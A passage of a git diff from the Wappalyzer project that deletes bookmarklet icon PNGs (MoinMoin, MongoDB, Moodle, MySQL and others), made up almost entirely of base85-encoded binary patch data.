zcmeAS@N?(olHy`uVBq!ia0vp^3LwnL3?x0byx0z;*aCb)T!HjWxiT+_m}Ni~V@Z%- zFoVOh8)-m}gr|#RNX4z>goK3u=N;G-|Ic@M^uNA{gMrcA$5L1Lh7?c@gQu&X%Q~lo FCIEwe9ftq_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MoinMoin.png b/Wappalyzer/drivers/bookmarklet/images/icons/MoinMoin.png deleted file mode 100644 index 31ec01ce0b415df7b7c27f7841cb454b0fa7d65d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 379 zcmV->0fhdEP)8Yuyc&F5Lpvil#-rnBcYJio7hKG!g zlcJ=jw6wIfx4V{@n#sw@Zh3@{kB?+}k8ym5o}Qlc^z>_UdwhqHezfRgeV2c@?r@a0 zcBIf*U}tE0i(`M8UukkyT3xH18Cw7V00DGTPE!Ct=GbNc0065=L_t(|UNw&ejs!sr z1KYudp=E|c`2Pp52i8&)#gdhB7$v})0}^IM*n8*Ru_4ZP!+aOHGdGii_QQt#Znq!I zTGYHr?n>yuXLdU%l&co+GjauACCLSTCdj{K)=~+3}h)j%4-3hyJ#`S zwEvSo7ne#UL%Ccw!dfUU6bhG9snoN4KA%e@5>Jc8;uXrL(`k1ynY?ktQ$BJE{R+PY-1^JVYPC+7$G}4reH#o0P{?Fp11Q~Ym(^-D zHl0q{Y&K*4exG?fo-anD@hb7X4u|7IwOU=oVzIMkvq|K&BuQH=rvChCMplw#nVSBp z*Xs=2C!E=Ae%ETX4kr>p##d&z0j4HpnQ|2GD8E=N*lM+sve~S_^Zb3z>2!)HTBATh z!A4OOm9X3G82JSF3gHl=R`&b-D=4_bSuB>E^yl}bf+yWQ{gdi}M-C_J~@?H_$U9}US%sOkoT!5`6R^k*Ot_>SBgpoqiT zu&<~du%8>hOeW*Pm|iCzBW%am-opq#K<+N$OO(&$a%TAYqfyq=FO~002ovPDHLkV1f!2DPRBq diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mollom.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mollom.png deleted file mode 100644 index 937fc59794bbcd906c477af2a6d23b904abb3c12..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 372 zcmV-)0gL{LP)APjuT*w|8d~eAOkYd4RDZQ z`JY+GjVFQl z84%xekY#Broyix|eO~xK0RvVeVndCU#Z`k<&{2+s103=vgj_mL3K243F3#xfJ}2x; zKr;x3<1_#$SwXh#Py_aZ{0PL$fcQQTzX#%1KztI2Gk}-{pJofFEsjt=4-m@$u_zET z6S7$nh|dA>b0Fp;DPI6JfRgQNsO?oGXDpzmIH=}rK+H~#0m49>3B)4A>Hz>w1RPGt Sq6qQ;0000Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02*{fSaefwW^{L9 za%BKeVQFr3E>1;MAa*k@H7+qRNAp5A0004dNklRpi!7 z>AQ$c=|v9mHky>Qv`L#Np$WbL53pbYSN^#db{9b!vHY*gT+25432xd4(Gh5?v~xQFmjocQfEdRX-y>M0a8 zgtl1y2w?Tw18fN-CTLKYB?8Fxau_H_xomSD4+F7PHGTkmR~Ah;m+PzNP8r95I7?eU zESw?0S+srtH{Pgsgp9#GS3s@ZIJ&GbV!OVpH{;;!G7yY6IJ5oUa5_^^<`}!nx!{Yt z*SG)?%J_vXc{dj))q|s(VsO@Jx2yFVtMVialf3HhX}BRx`Rn=~RQv-f*?o}{z4wX$ O0000Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02*{fSaefwW^{L9 za%BKeVQFr3E>1;MAa*k@H7+qRNAp5A0004dNklRpi!7 z>AQ$c=|v9mHky>Qv`L#Np$WbL53pbYSN^#db{9b!vHY*gT+25432xd4(Gh5?v~xQFmjocQfEdRX-y>M0a8 zgtl1y2w?Tw18fN-CTLKYB?8Fxau_H_xomSD4+F7PHGTkmR~Ah;m+PzNP8r95I7?eU zESw?0S+srtH{Pgsgp9#GS3s@ZIJ&GbV!OVpH{;;!G7yY6IJ5oUa5_^^<`}!nx!{Yt z*SG)?%J_vXc{dj))q|s(VsO@Jx2yFVtMVialf3HhX}BRx`Rn=~RQv-f*?o}{z4wX$ O0000s}qZC)8$l1-8d)O7R}hDxqCLpTyBsM&Ej}+3dvnNBhPwiTX0?qwx8B2m}HMg+jtJ)qN~L z4RyFv9+q*skwzkVZ`EpbVm;AF)2*y1ipX?2ofd~1jRs^{h9pU|TY1(naS{D6agqNH t)6_UW;fdu9c1+{k+kdPd=dI~+{tMAH51bEiaF751002ovPDHLkV1hGG9_au8 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MongoDB.png b/Wappalyzer/drivers/bookmarklet/images/icons/MongoDB.png deleted file mode 100644 index f8b3e7fde4780d3e7a0788b2197b0028f095de6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 762 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mono.net.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mono.net.png deleted file mode 100644 index c66e4018523b9a3f14c762fb64240fdd622aceb2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 717 zcmV;;0y6!HP)Mzr$qwwtVeCR3rZ9pRc!rS>!gR@^A%s*S!C7?RGeQb~;t?*QF{T|t zNDqM1=#H2c<1ntqeq=G@a@@r963uhjjlCrYz!p4Q0pnbL!qI2|RHJK!&9fZC;aGs% zt7M+#N9-&Z02fx-Jj=WP1waGduTg+`oXZc;zDDL*_Mj|;AVD>H&>|h7s! z2E7;qG~sAOYYxXl2z}*fLCm}#SI~%BB_QdvB5mU=_Mr#)Yt492pne4RBf2Blp242tUmi>%gUSMH z6{to&HeeEI*oN8+wnjEC_?J2#N#sl#64Yf%+*r(Lxo1KK<5&+YU?PKe>lEM%zGW~F z*|>li%okXjO{vdCbYJ0X2A$IX2bI{Q@GYn;Qm;l$BtUPrcdWty((ddVOd-Gi7C#Eq zhwwc`ZwAM5AEV2W04vRIB)I|VF@&`+pU0U(4axa63UDW_CF@va^I_D-n$pfyG9Sgk zQrhy(;xE}^`2mL(Gnka&n!;Cav3!K4rH*DN@py^GgJ@sYY?u?|6mE%k&J(zYHq@7* zo%}T@2}zPPV7Gtcc@1VTisyLk&v+ht2LSvAhM?j2gS{rj00000NkvXXu0mjf)A}#} diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mono.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mono.png deleted file mode 100644 index f2340acc8e5d11bfb915b32953e6df21a5575bf0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 647 zcmV;20(kw2P)6B7Q!pIxW^5xiE zSk}Ur8}&xL+v}0+cINqum+isAwmHVwaU3sfxxx?v9~3*aI8JIK91Ux8gZ2N+sy{m? zwT8Jsumv~-69Fv3v24DdPu(x&FO`5On8ll!etC9MZ3-&+;v}297c<5y-&@V@7&a>a zoC+$-*;I6HT87DBYYR@8#gg&h<448()eT5tI$wl?s-N@Bu-d&zt1}r-&45PX0-G@c z^xIp}TxK1uoB<~P1A;aap~_inG&UrJTnB_BAuqz!cc~pA;n~k@8wztR7iYdu;pQd5 zME{BQSD)hBkG8pB>#?A!P)a1>aluuHd({CFW{YNb01|{^or})2OP*$Ps|^0K%=vuZzL!cgM}{ zwAG!Sp0#u7=$%3q5*} h{lgO`0W8FDCBp;!u~(Dt>j_v`UWTS_VPhH{Bqg_hFN11OVd zmKh?(Bg2W}g$~>t>I5;4;n2-<&IJ|6X24A+inwR?AsEFDDE3LRJp-^iVX7D=F)^eykgSn{R%fz}Yr*ECRQJEUpP!wLXoZPUme;p&Quw7KW@AYnMQh#1hf1 z+)5%_pTVz;Bk*I1(#Rwzom(EA%1U9DV#s7jj~yx!$4uvMCveK5a4?=z6&jt-m~i4AR8 zXoFDKiW=Lq&_gF%EfiUkNZ-aQaxs;5s?)sE5D8^Z;}|j zbcLP3ua+3wA-PqkYvUBU;C#CTqnz5EEol_#TM=z*Zi$z`uOW#Wh)699>a}36YT1Tx z1i)tzcnQFj`3p1dQLq*UG%%;Ib}YR5WdTrh095Vm+HtoBluZE*@XXc)`&|ZL?z{&H zPGHaLoD2KKtAJns8v_7^GwZ>IiQoJH@J_W&fW)VQQIG~Mf@_0&eB)+^zybhZjtS1l_-knoYK3=Bm%P*M)y0o* z(%z->_NOoQMU29x+uD0$vyH8mp96M(Ac?dw#Zh}#*q-Hk$KJm*`4}BB;)|C#D#+J1 zEcH2bbHY6R;3xtB6@2kVBj*VYUdZL4fXm>&NIjSVf8RW;H7nv45_3B zfp2_OZqK=wXL)M)P|(1!8{f-YjQb>6FT?hcvnc`iNrm-aSaDs`CXk+ze1;Vx4xf7}rdPMOz!MJ&Pru0qAfdi*{ q+Ka=jKb)7HHr*KuT6}x-?VL~k=9ACvdvh_q0KlMfC`YrEw*LT30V{(5 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Moodle.png b/Wappalyzer/drivers/bookmarklet/images/icons/Moodle.png deleted file mode 100644 index 6721efe77e3b356fab0a3f5a7aad103eddb97b78..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1253 zcmVb2?!7+D*luN8sABtl+0Eq4J>UC1=X=i`Awhk(qZ`-nEUqy)Mvmt%M>L0U{%mL&a20anVzZd%}1{7^?_Y zrP#CCaNl|luAfGayHK|)EC_g!L!px9=jjY5FQ*tODaOl|QqAHAhS0#)PKW*5eRg(w z$Wk-_$8DB4vcmaVo@2#T94od{sOGp>s^L|AbQEE9gw_$6w8NfW%X57*^t9G7cIl1a z&Pi>Etm5}@9p8C9oT_c)3OQ^C;6% z5c=CUp*Ay1!WGA5eX7dpiFdhIM?^VAJq_!4#r-HfS{t&d~Fv02+`v9uTm$L*vgn@4Mn zU#+5bTuX~^YwsprdG$301_v4po4}vOP8T5Cj;!tml^9JNoc^buOsZo!bRY?1E|$X&^us zK1r-Kaq~6S+BS(d;Xht9VD+K{0dgHky0!U&^QXeqkNzW+trnqnC6;9cpzw>>3&)q? zBD4?zqcLYbiB-4}nl5=5iNa2u0R&_v2+Ve~U7-@(aLB(cT)34xc4Vh1~UCjJjdeYm5!_HK6mg~?h7{n-}*P;MO8 zxaqJy|1c5(w*^##*ha@|B?{=K_rj(4Feojz(L^X3J^F798}3y>VDwsWm3W$oKkhxwqb0&ni<2{a&&lWe&B=kKb9?T@siuB?tQnKF-Z9;ruLZr_OXOL#;e zasS>;Wy8G)u#h_+J899qS6;t#NI#fzftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Movable Type.png b/Wappalyzer/drivers/bookmarklet/images/icons/Movable Type.png deleted file mode 100644 index c578ca63b6d9e99492f543585ad01bf003a65b88..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 403 zcmV;E0c`$>P)5080Ri0z2xJ8j1VkWR77;{6-4p@=U715g(4Z9%v`9dgkqg8OY~VIvE7z12 zx@v1=WA^D8$1N3nd0?Dx@3S2a$45QYrjK)Da#^YQ;K8yi&-0QbWy-=zx-d)7h@nnb zfVL=#vMj5rs%aYc`c6KGyVT=i;&!+I-$w0bv#IO4X_}U0b$X%sdgz4tFDQ!QZnxX* zjw|}l@7j6MBQV?x>;$)M+wOP+4*pM9*uE$ky`VNkZW+~vh5;wX)%ybQVSM9#Lwh+@ zScvCmqBMe4TI#3i5sJ@mcmoHS3bf~l8vwlxr5Tuegajj?c3x=A$MQfh>N(9gBlLy9 z5w#S{e)Y0J-obJdj^GcIKr&l`^QFsGv>b{fOzkCszfx9KL4fN$>S7K8BwI~1p diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Moxa.png b/Wappalyzer/drivers/bookmarklet/images/icons/Moxa.png deleted file mode 100644 index df126a68bdebf277d8ff119c256c091de4020f46..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 536 zcmV+z0_XjSP)39t%G!10xB-ziw;o)w_N1% z{v_9XQn-QD3u7b9ujElmF+B5;TiJ0MVkQqxrfE0hQ1L)Qag%2IQ{hT`aprKx*bNbV`(}RSy-m$4*nW9ol0} z|AwWnbvIAXUS#^`BIgp_)CGO7_4a&6H~Y*McEsZVtlEXJ6hT-GeI2%T&8uwvG8urd a3H$}eNxW6zPb=F10000Q{{H@&o1O2(G5Fz;Yiw@D z#>nF1 zL_t(|+Juu?lEWYjL|eqMutE26c-(UU1Xve?Yzip~y4V3y^pm zMRf)|V@i_Y0t9AY_RSz4fda;`4{4V00MIl5aLKR(i92ADif6zZ34k(7*nn=Ch?{xzzX>q_3!1PMe4mfQs6~N+o=m=p2$V$*?R1z`c;y~Jt&@gnv7-ow2 zksILOL>u^Yn0iYxS_SlBc0mhZa~l?TRmz-0-T+;E+Sbz?+zMFtxFFJn-Yn`b@TbKS z(C*+ctJL&!#~V<;HBeS3;8UcIsvd#-)lVV27}>MB0M&_HZ~tiD1;wkbUIGjN*3%1j T!k*vH00000NkvXXu0mjfn_t0f diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mura CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mura CMS.png deleted file mode 100644 index 65ae35851456a0e16f07ff74cedac79c5c5953d5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 677 zcmV;W0$TlvP)`UtMv^l54%ZZz7o8{7o7iZ%&BfSaP-U?qgY zh!)K>FBcs3YTog_Jum-&prZ2u&N=M3_xLMzMg7XoA^GvB5^Y5wie9aWY65pPakPL)tD0MbGLj{j3| zkOmUh8CWUm6(^)J;93a_SZP?*iYpHQW54~H3+~3Gz2c;~E-Ig7$>!vg1;C7?OG%FY zJTWK$2#J#=zokWEU>3~6K_n8y9kWh2KxP-kSms=D9y^XmK?(S& z&xumsI8K5rcOY9xRX!}(l9S^%Wtj_)IVz{%AuwcA&Rr26fn}WQTOb3j6>PETEJKo7Q5w$u$_-(2r zVfcDyXJcby@8jOqrJbV7)Wf_2V=ytp9cDq)q9UdMo zE-s#&oYZPHB3fQvuGi~pYipfO=k)Y+b#=Ad?FK<0Ip=AbuB@yqEiKK?&Mqu0D5U^Y zDwRCX*Vos#x3}l#=Ykdg0002dNkl51nd;xEukd*EK2$?%-v4_0-@7#J?XwRAH0GT1TbGRQEnVht${1_=gDpb9UB zO1J^P7=S?nVP=yQOX+Y=!p-6)$p9O;KA;ys@DhpXM3> diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MyBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/MyBB.png deleted file mode 100644 index e97f9306d40a6e739688f5b41aea4c04d9057609..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 156 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`$(}BbAr-flPCm`cpupk0JJS8| z*{{#kopO{rkK1K2K8R)9QfD7T=Qd-kW1HH`FPu^3FUX6MFB)l%mw9DYeG@r&hdA-oRa_OF3b8L1x#Z z#5EG@D)`PEWU^pR^w1RSTkEt;_1vzktA?xnZl9R2)H&St!M!W{YIpE_zL?w7B0e!V zc6q|@1@RCQE}gXbU@@C>faW;`l*?d>$!#9=|*g-RlhI>iAxJCQM%`w>_TCX#c*IyTkAPKMyp4H-j&> z@T;?;%=&w)?Oz{17JuR8f2Qj(I_g-P+3PiSpkTeZS0btJ!YG zuk#0fT;cfsV++(3&fyi;ye{sY#{YW`-`PajoXu8Wa-J;AzS+>$nFRLk#`8}PF10NA a&(JsjbBhih$>8bg=d#Wzp$P!)NmE7u diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MySQL.png b/Wappalyzer/drivers/bookmarklet/images/icons/MySQL.png deleted file mode 100644 index a2b9def0de32f40c951359172705e8d6f9e3c7f2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 620 zcmV-y0+aoTP)VYw@Ppl9X5P0uGvCZ}9M{XieQ^o#&VgR8 zH;E^Bj$inIih~T`BMRg`8;`MpVRWKKm+xZ$9e9m6U)dE5Nx2H}FUE0pKLSX^6z=R% z=R98EH~NqqbPy--9eKVoH5{jQ)Vqjz%py1FAeu4idp?QJ&UG(+N4=wXhDDSG8Nf08 zM5?c>mH?9eQ#T$Dv5L|lgLs2FgZlkg-daTg1W>Jmh`xRT-s01?FJ}?JA(>=F25r*u z6$3$ig`1c$dL!4nD!JlvP(i#zt6>{86w^Tk@ZR`sA{*I1oU{G$!&uN0%&c9UB&esh z0hHiXjBV>BUFX^aa7(Z6*jLdvJhBO(0rz~*H}qx{efxH-A=4%qjmUi}mM~_}K25UY z-B<(2!<^h#$@*T>N4MzvXp^sS&3H1)Mx#<|KDuQ^bYal&j4^-}>8nxC4}%U`F(HQ# zbrL#)FF0fPGAS~olagHvOg5Q8tm_UUWkq;r{zCGWtpvk}4 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mynetcap.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mynetcap.png deleted file mode 100644 index 01ee5bc86fb9b8a6881fb549d29ed4639dbb4d85..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 465 zcmV;?0WSWDP)M1Me#6?aHHBPy_xj%TJAFt(iw7UxyC1*b=YH?UJH|Sm@1`XI4^RkMh^rLym=>2NxO&Wv~urC_VuanY&srb@SveS3mmNRlzGoiR5G!)>ZHTIB3vXc5=e{oc*pwbDXVZ zt+ZD0wd$2vUh*bO&Y6Z2#Vp{UPU|tnr@^N;RWeva=Lf}Fpxr?vw=%R{+!)v@DBv7$ z(4f@uWqexTERFu>C9 z2X#;PyByMFpwiw4OoD@5C%$^Aq_yY&{Y+?e79_wzPkz21vF}nljU8cx00000NkvXX Hu0mjfFG|b* diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/NOIX.png b/Wappalyzer/drivers/bookmarklet/images/icons/NOIX.png deleted file mode 100644 index ae6f9fee616eb87866ac3f7d72a82df95418e4e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 430 zcmV;f0a5;mP)XIyMq)A;tt=*ixSX{VvVPi|A2Z6Tq-c2giM^M`?-k6IodT}g%_=v_na*?DIp6xxWz6? zv4Li%;X$oA@GD@)*hVcTaDyu}I0Y`W=From4SJQ3qa)Z &GD;Q|$SR4m}>+J37c zT}|r=UlY<)yhP(6@~ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/NVD3.png b/Wappalyzer/drivers/bookmarklet/images/icons/NVD3.png deleted file mode 100644 index 42cbe9c116c75e01dc176a08eb5352d8076d516c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfPpP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02*{fSaefwW^{L9 za%BKeVQFr3E>1;MAa*k@H7+qRNAp5A000AUNklQApl3;tNmMh`MktuH z<~Tz{%Nj7dXUQ>UU_!|S8UTzlxK9W<0xStT>&M8^_n{}BTa_oQ>Z{lz*{Lc=w z9LU}v>|M?ewulhOo4idC7;iN>6Suxc@)f#6Kzw+R10BAqcK$&N*`OMIpl@e#x)y!{ zSq#EJ_8S4u5>Ke{xIxjholq7qZOq)o0*n?_pur1ZmcT59SPb{|&C(frJo=U%0}7DR1~8p419OZ6(4rdptQ zK89KdqJex6yWl^cM{y@ezocI!*c`F|a&9S}zFUdGC{B#ir63>Z>$gZjjg0?+#DMbm z=g!>C4An{*XkU65%3@&Paw|Fm@g>l5L{P&W0CSLtcew{hy=-7LSRd5@lCM!LhGMYq zK~ZC!)XoIeLR|p!Ar=e``l2s_UZvU~wOSEGqHvoWK=dzQwxf})NC2AyfcPIU+g&n0q7Q&s4x)i=y+~k{%%B!VgAxxH zK=S=&*}y6xs4)EiG~vA$@GJ#qJ2BsKusGcSsG$M${c0$e{s8FvZ@_XMT;9u3yRIh& v@OzfDLYV^tG{fsTK(tzTJ(y1#U|;|Mxlb1YOdA*u00000NkvXXu0mjf9)hueqh>tvD>N5l zMA^Ffdf$@u{s4i+15-nvd<+mDIJ?nntl`RWeRnCr zF_vt~Cjp41M9)T~bozR_Q3LXsV-3wCl*|&5zU(|@6Ny(-!W8Am?|!UO-6@xQV1agE z)|)@OCg;oh4XGc=Oqbwu`+etTwo`J1e-TZ0y1k)1r{;G%x(K0`%27fuo#UjJbUz0d dSpEmD7AO9lLuQRP?^pl;002ovPDHLkV1j6ZlP>@O diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Nepso.png 